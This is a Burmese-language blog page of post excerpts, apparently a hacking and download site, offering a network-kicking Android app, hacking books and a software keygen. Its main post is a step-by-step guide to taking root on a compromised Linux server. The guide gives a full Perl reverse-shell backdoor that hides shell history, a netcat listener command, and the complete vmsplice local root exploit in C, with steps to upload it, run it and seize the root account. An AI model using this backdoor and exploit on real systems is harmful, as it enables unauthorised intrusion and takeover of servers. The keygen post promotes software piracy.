ဒါကေတာ့ Network တစ္ခုအတြင္းမွာရွိတဲ့ Device ေတြကုိ အင္တာနက္အသုံးျပဳလုိ႔မရေအာင္ ပိတ္ႏုိင္တဲ့ Apk ေလးပါပဲဗ်ာ။ ဥပမာဗ်ာ မိမိ Wifi မွာတစ္ေယာက္ေယာက္က Download ေတြနင္းကန္ဆြဲေနမယ္၊ အရည္မရအဖတ္မရေတြလုပ္ေနမယ္ဆုိရင္ ဒီေကာင္နဲ႕တြယ္လုိ႔ရတာေပါ့။ ေဆာ့ဝဲလ္ကေတာ့ Use at your own risk လုိ႔ apk ကုိဖြင့္ဖြင့္ခ်င္းသတိေပးထားပါတယ္။ ဒီေတာ့ ကုိယ္နဲ႔အဆင္ေျပသလုိသာသုံးပါ။ သူမ်ားကုိေတာ့ မေကာင္းတဲ့စိတ္နဲ႕ မလုပ္ပါနဲ႔ေပါ့။ :D ဒီေကာင္ကုိသုံးဖုိ႔ Android version 4x အထက္လုိပါတယ္။ Root လုပ္ထားျပီးသားလည္းျဖစ္ရပါမယ္။ မိမိ Device နဲ႔ကုိက္ညီတယ္ဆုိရင္ စမ္းဖုိ႔ မႏုိင္ပါျပီဗ်ာ။ :D

[Screenshot]

[Watch Tutorial]


Download: Hostr.co Solidfiles Mirrorcreator
Read more »

Website Hacking ေလ့လာေနသူမ်ား Download ဆြဲသင့္ေသာ စာအုပ္ (DVWA)

https://fbcdn-sphotos-a-a.akamaihd.net/hphotos-ak-prn2/p526x296/971381_310009569144345_1093109064_n.jpg
Practice Hacking With DVWA လုိ ့ စာအုပ္နမည္ေလး ေပးထားပါ
တယ္။ Website Hacking နဲ ့ပတ္သက္ပီးေတာ့ ေလ့လာေနတဲ့
သူမ်ားေတာ့ ဖတ္ေစလုိ ပါတယ္။ ဘာလုိ ့လဲဆုိေတာ့ အထူးသျဖင့္
စတင္ေလ့လာစလူငယ္ေတြ ပါဘဲ။ သူတုိ ့မွာ နည္းလမ္းတစ္ခုကိုသိလာ
တယ္ ဆုိပါေတာ့့ အဲ့နည္းလမ္း တစ္ခုနဲ ့လုိက္ ပီး စမ္းသပ္ၾကတယ္..
မေအာက္ျမင္ၾကေတာ့ တစ္ခ်ဳိ  ့က အဲ့လုိ မေအာင္ျမင္တဲ့နည္းကုိ
စိတ္ကုန္သြားၾကပါတယ္။ တစ္ခ်ဳိ  ့ၾကျပန္ေတာ့လည္း ဆုိဒ္တစ္ခု ကုိ
စမ္းတယ္ သူတုိ ့စမ္းသပ္တဲ့ နည္းပညာ မွာ အဆင့္ ၄ ဆင့္ေလာက္ပါသြားပီဘဲ ဆုိပါေတာ့။
Read more »

မိမိတို႔ ဘေလာ့မွာ MMYOS ေရဒီယိုထည့္ခ်င္သူမ်ားအတြက္

           မဂၤလာပါ ေဆာ့၀ဲၿမိဳ႕ေတာ္ ပရိသတ္ႀကီးခင္ဗ်ာကၽြန္ေတာ္တို႔ ျမန္မာႏိုင္ငံမွာ အြန္လိုင္းေရဒီယုိေတြ ရွိတဲ႔အထဲက 24hours အသံလႊင့္ေပးတဲ႔ ေရဒီယိုေလးတစ္ခုနဲ႔ မိတ္ဆက္ေပးခ်င္ပါတယ္ အခု ကၽြႏ္ေတာ့္ဆိုဒ္ေလးမွာ ထည့္ထားတဲ႔ MMYOS (အေ၀းေရာက္ျမန္မာမ်ားအဖြဲ႔)က လုပ္ထားတဲ႔ ေရဒီယိုေလးပါ။ အသံလႊင့္သူ DJ မ်ားကလည္း
စိတ္အားထက္သန္စြာနဲ႔ အခမဲ႔ 24 နာရီထုတ္လႊင့္ေပးေနတာပါ။ မိမိတို႔ေတာင္းဆိုေသာ သီခ်င္းမ်ားကိုလည္း dj@mmyos.com ကို အပ္၍ ေတာင္းဆိုႏိုင္ၿပီး ေတာင္းဆိုသူရဲ႕ အမည္ႏွင့္
သီခ်င္း ေတာင္းရျခင္း ရည္ရြယ္ခ်က္ကိုပါ ထုတ္လႊင့္ေပးမွာျဖစ္ပါတယ္။ MMYOS ေရဒီယိုေလးမွာ သီခ်င္းမ်ားသာမက တရားမ်ား ၊ စာေပေဟာေျပာပြဲ အသံမ်ား ႏွင့္ ရယ္စရာဟာသ ပ်က္လံုးမ်ားကို  အစီအစဥ္အလိုက္ ထုတ္လႊင့္ေပးပါေသးတယ္။ နားဆင္ခ်င္သူမ်ားအေနျဖင့္ ကၽြန္ေတာ့္ဆိုဒ္ www.minsoeyarsar.com တြင္ျဖစ္ေစ www.mmyos.com တြင္ျဖစ္ေစ နားေထာင္ႏိုင္ပါတယ္။ ဘေလာ့ ႏွင့္ ၀က္ဆိုဒ္ Admin မ်ားက မိမိတို႔ဆိုဒ္ေလးမွာ ေရဒီယိုေလးထည့္ၿပီး လာလည္သူေတြကို အပမ္းေျပေစခ်င္တယ္ဆိုရင္ေတာ့ ေအာက္က ကုဒ္ေလးကို ေကာ္ပီကူး၍ မိမိတို႔ ဘေလာ့ ၊ ၀က္ဆိုဒ္ေလးမွာ  Widget အျဖစ္ ထည့္ႏိုင္ပါတယ္ခင္ဗ်ာ...
ေရဒီယိုကုဒ္

Android ဖုန္းေလးမွာလည္း နားဆင္ႏိုင္ပါတယ္ခင္ဗ်ာ။ ေဆာ့၀ဲေလး ရွိပါတယ္ဗ်ာ APK ဖိုင္ေလးကို ေဒါင္းႏိုင္ပါတယ္ခင္ဗ်ာ
Read more »

Backtrack 5 Cookbook

Backtrack 5 Cookbook စာအုပ္ကုိ Backtrack Myanmar ကေနမလာျပီး ျပန္ရွယ္လုိက္ပါတယ္။ လုိခ်င္သူမ်ား မႏုိင္ပါျပီ။ Author: Willie Pritchett, David De Smet Publisher:[PACK] File Size: 31 MB Pages: 296 Download: Dropbox Solidfiles
Read more »

7/27/2013

Linux Sever တစ္ခုကို ဘယ္လို Root လုပ္မလဲ

ပထမဆံုးအေနနဲ ့Root လုပ္မယ့္ Target Server ေပၚမွာ သင့္ရဲ ့ php shell ကို တစ္နည္းနည္းနဲ ့တင္ထားျပီးသားရွိဖို ့လိုအပ္ပါတယ္။ တကယ္လို ့သင့္မွာသာ permission ရွိျပီးသားဆိုရင္ေတာ့ butt.pl ဆိုတဲ ့new file တစ္ခု create လုပ္ရပါမယ္။ ( permission မရေသးရင္ေတာ့ Perl scrip ကို PHP inclusion နဲ ့execute လုပ္လို ့ရပါတယ္ အဲ့လိုလုပ္တဲ့နည္းကိုလဲ ေနာက္သပ္သပ္ ကြ်န္ေတာ္ tutorial ေရးေပးပါ့မယ္ ) ခုနက အသစ္ create လုပ္ထားတဲ့ butt.pl ထဲမွာထည့္ရမယ့္ code ေတြကေတာ့


#!/usr/bin/perl
use IO::Socket;
$system    = '/bin/bash';
$ARGC=@ARGV;
print "IHS BACK-CONNECT BACKDOOR\n\n";
if ($ARGC!=2) {
   print "Usage: $0 [Host] [Port] \n\n";
   die "Ex: $0 127.0.0.1 2121 \n";
}
use Socket;
use FileHandle;
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n";
connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n";
print "[*] Resolving HostName\n";
print "[*] Connecting... $ARGV[0] \n";
print "[*] Spawning Shell \n";
print "[*] Connected to remote host \n";
SOCKET->autoflush();
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
print "IHS BACK-CONNECT BACKDOOR  \n\n";
system("unset HISTFILE; unset SAVEHIST;echo --==Systeminfo==--; uname -a;echo;
echo --==Userinfo==--; id;echo;echo --==Directory==--; pwd;echo; echo --==Shell==-- ");
system($system);
#EOF


ျပီးရင္ေတာ့ သင့္ Router ထဲကေန Port 8080 ကို forward လုပ္လုိက္ပါ။ ေအာက္က command ကို အသံုးျပဳျပီးေတာ့ shell ကို execute လုပ္ပါ။ ဒါမွမဟုတ္ php script သံုးမယ္ဆိုရင္ေတာ့ script ကို run လုိက္ပါ။ (မွတ္ခ်က္။ ။ php script သံုးမယ္ဆိုရင္ေတာ့ system ကို point လုပ္ဖို ့ script ကို manually change ေပးရမွာျဖစ္ပါတယ္။)

perl butts.pl 192.168.0.254 8080

IP Address ကို သင့္ IP သို ့ေျပာင္းလိုက္ပါ။ ျပီးရင္ေတာ့ terminal ကိုဖြင့္ျပီး ေအာက္က command ကို အသံုးျပဳရပါမယ္။ ( Netcat ကိုေတာ့ install လုပ္ဖို ့လိုအပ္ပါမယ္ )

nc -vv -l -n -p 8080

connect လုပ္လို ့ရ မရဆိုတာ ေသခ်ာဖို ့"uname -a;id" ဆိုတဲ့ command ကို သံုးျပီး confirm လုပ္ရပါ့မယ္။ ဒါဆိုရင္ေတာ့ kernel information ကို ရရွိမွာျဖစ္ျပီး အဲ့ info ကို အသံုးခ်ျပီး root လုပ္လုိ ့ရပါျပီ။ ဒီအဆင့္မွာေတာ့ exploit ကို compile လုပ္ဖို ့လိုအပ္လာပါျပီ။ Linux Server အမ်ားစုက compilers ေတြ ကို disable လုပ္ထားေလ့ရွိပါတယ္။ ဒါေၾကာင့္ ကိုယ့္ computer ကေန compile လုပ္ရမွာျဖစ္ပါတယ္။ သတိျပဳဖို ့အေရးၾကီးတာက Window OS ကေနျပီး cross compile လုပ္လို ့မရဘူးဆိုတာပါပဲ။ Linux OS တစ္ခုခု ကေနပဲ compile လုပ္လို ့ရမွာပဲျဖစ္ပါတယ္။ ေအာက္မွာ က်ေနာ္ ျပမယ့္ exploit ဟာ kernel ေတာ္ေတာ္မ်ားမ်ားမွာ 100% အလုပ္လုပ္ပါတယ္။ text file တစ္ခု ဖြင့္ျပီး ေအာက္မွာေဖာ္ျပထားတဲ့ code ကို copy/paste လုပ္ျပီး dongs.c ဆိုျပီး save လုပ္လုိက္ပါ။

#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <malloc.h>
#include <limits.h>
#include <signal.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/mman.h>
#include <asm/page.h>
#define __KERNEL__
#include <asm/unistd.h>

#define PIPE_BUFFERS    16
#define PG_compound    14
#define uint        unsigned int
#define static_inline    static inline __attribute__((always_inline))
#define STACK(x)    (x + sizeof(x) - 40)

struct page {
    unsigned long flags;
    int count;
    int mapcount;
    unsigned long private;
    void *mapping;
    unsigned long index;
    struct { long next, prev; } lru;
};

void    exit_code();
char    exit_stack[1024 * 1024];

void    die(char *msg, int err)
{
    printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
    fflush(stdout);
    fflush(stderr);
    exit(1);
}

#if defined (__i386__)

#ifndef __NR_vmsplice
#define __NR_vmsplice    316
#endif

#define USER_CS        0x73
#define USER_SS        0x7b
#define USER_FL        0x246

static_inline
void    exit_kernel()
{
    __asm__ __volatile__ (
    "movl %0, 0x10(%%esp) ;"
    "movl %1, 0x0c(%%esp) ;"
    "movl %2, 0x08(%%esp) ;"
    "movl %3, 0x04(%%esp) ;"
    "movl %4, 0x00(%%esp) ;"
    "iret"
    : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
        "i" (USER_CS), "r" (exit_code)
    );
}

static_inline
void *    get_current()
{
    unsigned long curr;
    __asm__ __volatile__ (
    "movl %%esp, %%eax ;"
    "andl %1, %%eax ;"
    "movl (%%eax), %0"
    : "=r" (curr)
    : "i" (~8191)
    );
    return (void *) curr;
}

#elif defined (__x86_64__)

#ifndef __NR_vmsplice
#define __NR_vmsplice    278
#endif

#define USER_CS        0x23
#define USER_SS        0x2b
#define USER_FL        0x246

static_inline
void    exit_kernel()
{
    __asm__ __volatile__ (
    "swapgs ;"
    "movq %0, 0x20(%%rsp) ;"
    "movq %1, 0x18(%%rsp) ;"
    "movq %2, 0x10(%%rsp) ;"
    "movq %3, 0x08(%%rsp) ;"
    "movq %4, 0x00(%%rsp) ;"
    "iretq"
    : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
        "i" (USER_CS), "r" (exit_code)
    );
}

static_inline
void *    get_current()
{
    unsigned long curr;
    __asm__ __volatile__ (
    "movq %%gs:(0), %0"
    : "=r" (curr)
    );
    return (void *) curr;
}

#else
#error "unsupported arch"
#endif

#if defined (_syscall4)
#define __NR__vmsplice    __NR_vmsplice
_syscall4(
    long, _vmsplice,
    int, fd,
    struct iovec *, iov,
    unsigned long, nr_segs,
    unsigned int, flags)

#else
#define _vmsplice(fd,io,nr,fl)    syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
#endif

static uint uid, gid;

void    kernel_code()
{
    int    i;
    uint    *p = get_current();

    for (i = 0; i < 1024-13; i++) {
        if (p[0] == uid && p[1] == uid &&
            p[2] == uid && p[3] == uid &&
            p[4] == gid && p[5] == gid &&
            p[6] == gid && p[7] == gid) {
            p[0] = p[1] = p[2] = p[3] = 0;
            p[4] = p[5] = p[6] = p[7] = 0;
            p = (uint *) ((char *)(p + 8) + sizeof(void *));
            p[0] = p[1] = p[2] = ~0;
            break;
        }
        p++;
    }    

    exit_kernel();
}

void    exit_code()
{
    if (getuid() != 0)
        die("wtf", 0);

    printf("[+] root\n");
    putenv("HISTFILE=/dev/null");
    execl("/bin/bash", "bash", "-i", NULL);
    die("/bin/bash", errno);
}

int    main(int argc, char *argv[])
{
    int        pi[2];
    size_t        map_size;
    char *        map_addr;
    struct iovec    iov;
    struct page *    pages[5];

    uid = getuid();
    gid = getgid();
    setresuid(uid, uid, uid);
    setresgid(gid, gid, gid);

    printf("-----------------------------------\n");
    printf(" Linux vmsplice Local Root Exploit\n");
    printf(" By qaaz\n");
    printf("-----------------------------------\n");

    if (!uid || !gid)
        die("!@#$", 0);

    /*****/
    pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
    pages[1] = pages[0] + 1;

    map_size = PAGE_SIZE;
    map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,
                    MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (map_addr == MAP_FAILED)
        die("mmap", errno);

    memset(map_addr, 0, map_size);
    printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
    printf("[+] page: 0x%lx\n", pages[0]);
    printf("[+] page: 0x%lx\n", pages[1]);

    pages[0]->flags    = 1 << PG_compound;
    pages[0]->private  = (unsigned long) pages[0];
    pages[0]->count    = 1;
    pages[1]->lru.next = (long) kernel_code;

    /*****/
    pages[2] = *(void **) pages[0];
    pages[3] = pages[2] + 1;

    map_size = PAGE_SIZE;
    map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
                    MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (map_addr == MAP_FAILED)
        die("mmap", errno);

    memset(map_addr, 0, map_size);
    printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
    printf("[+] page: 0x%lx\n", pages[2]);
    printf("[+] page: 0x%lx\n", pages[3]);

    pages[2]->flags    = 1 << PG_compound;
    pages[2]->private  = (unsigned long) pages[2];
    pages[2]->count    = 1;
    pages[3]->lru.next = (long) kernel_code;

    /*****/
    pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
    map_size = PAGE_SIZE;
    map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
                    MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (map_addr == MAP_FAILED)
        die("mmap", errno);
    memset(map_addr, 0, map_size);
    printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
    printf("[+] page: 0x%lx\n", pages[4]);

    /*****/
    map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
    map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
                    MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (map_addr == MAP_FAILED)
        die("mmap", errno);

    memset(map_addr, 0, map_size);
    printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);

    /*****/
    map_size -= 2 * PAGE_SIZE;
    if (munmap(map_addr + map_size, PAGE_SIZE) < 0)
        die("munmap", errno);

    /*****/
    if (pipe(pi) < 0) die("pipe", errno);
    close(pi[0]);

    iov.iov_base = map_addr;
    iov.iov_len  = ULONG_MAX;

    signal(SIGPIPE, exit_code);
    _vmsplice(pi[1], &iov, 1, 0);
    die("vmsplice", errno);
    return 0;
}

ေနာက္ထပ္ Terminal အသစ္တစ္ခုထပ္ဖြင့္ျပီး ဒီ command ကို ရိုက္လိုက္ပါ။

gcc dongs.c -o dongs

ျပီးရင္ေတာ့ ခုနက save လုပ္ထားတဲ့ dongs ဆိုတဲ့ txt file ကို server ထဲက PHP Shell ေပၚကို upload လုပ္လိုက္ပါ။ ဒီအဆင့္ျပီးရင္ေတာ့ Terminal ကို ျပန္သြားျပီး Netcat ကို လဲ connect လုပ္ထားျပီးရင္ေတာ့ ေအာက္ကေပးထားတဲ့ code ကို ရိုက္ထည့္လိုက္ပါ။

./dongs

ဒါဆိုရင္ေတာ့ exploit ဟာ ေကာင္းေကာင္းအလုပ္လုပ္ျပီး သင့္ကို root access ရရွိေစမွာျဖစ္ပါတယ္။
ေနာက္ဆံုးအဆင့္အေနနဲ ့ root password ကို change ဖို ့ "passwd root" ဆိုတဲ့ command ကိုအသံုးျပဳျပီးေတာ့ ေျပာင္းခ်င္ေျပာင္း ဒါမွမဟုတ္ new root user ဆိုျပီး အသစ္ create ထပ္လုပ္ရင္လုပ္လိုက္ပါ။ ဒါဆိုရင္ေတာ့ Linux Server တစ္ခုကို Root လုပ္လုိ ့ျပီးသြားျပီျဖစ္ပါတယ္။

Copy from:  http://koalpha.blogspot.com
Read more »

7/26/2013

Inside Out Windows 8

Windows 8 စာအုပ္ေလးတင္ေပးလုိက္ပါတယ္။ Author: Tony Northup File Size: 27.9 MB Published by Microsoft Press Content of Table Introduction, Getting Started, File Management System, Music Videos Tv & Movies, Security and Privacy, Networking, Maintaining, turning & Troubleshooting.
Read more »

Universal Keygen Generator

Universal Keygen Generator ဆုိေတာ့ ေနာက္ထပ္ရွင္းျပစရာမရွိေတာ့ဘူးထင္ပါတယ္။ ဖုိင္ဆုိဒ္ကလည္း ေသးေသးေလးရယ္။ အသုံးျပဳနည္းကလည္း လြယ္ပါတယ္။ ဒီေကာင္ကုိ ဘူေရမ်က္ရြာဆုိလားမသိဘူး။ အဲဒီကေန မလာပါတယ္။ လုိခ်င္တဲ့ Key ေတာ္ေတာ္မ်ားမ်ားကုိ ေပးႏုိင္လိမ့္မယ္လုိ႔ ေမ်ာ္လင့္ပါတယ္။
Download: Solidfiles Dropbox
Read more »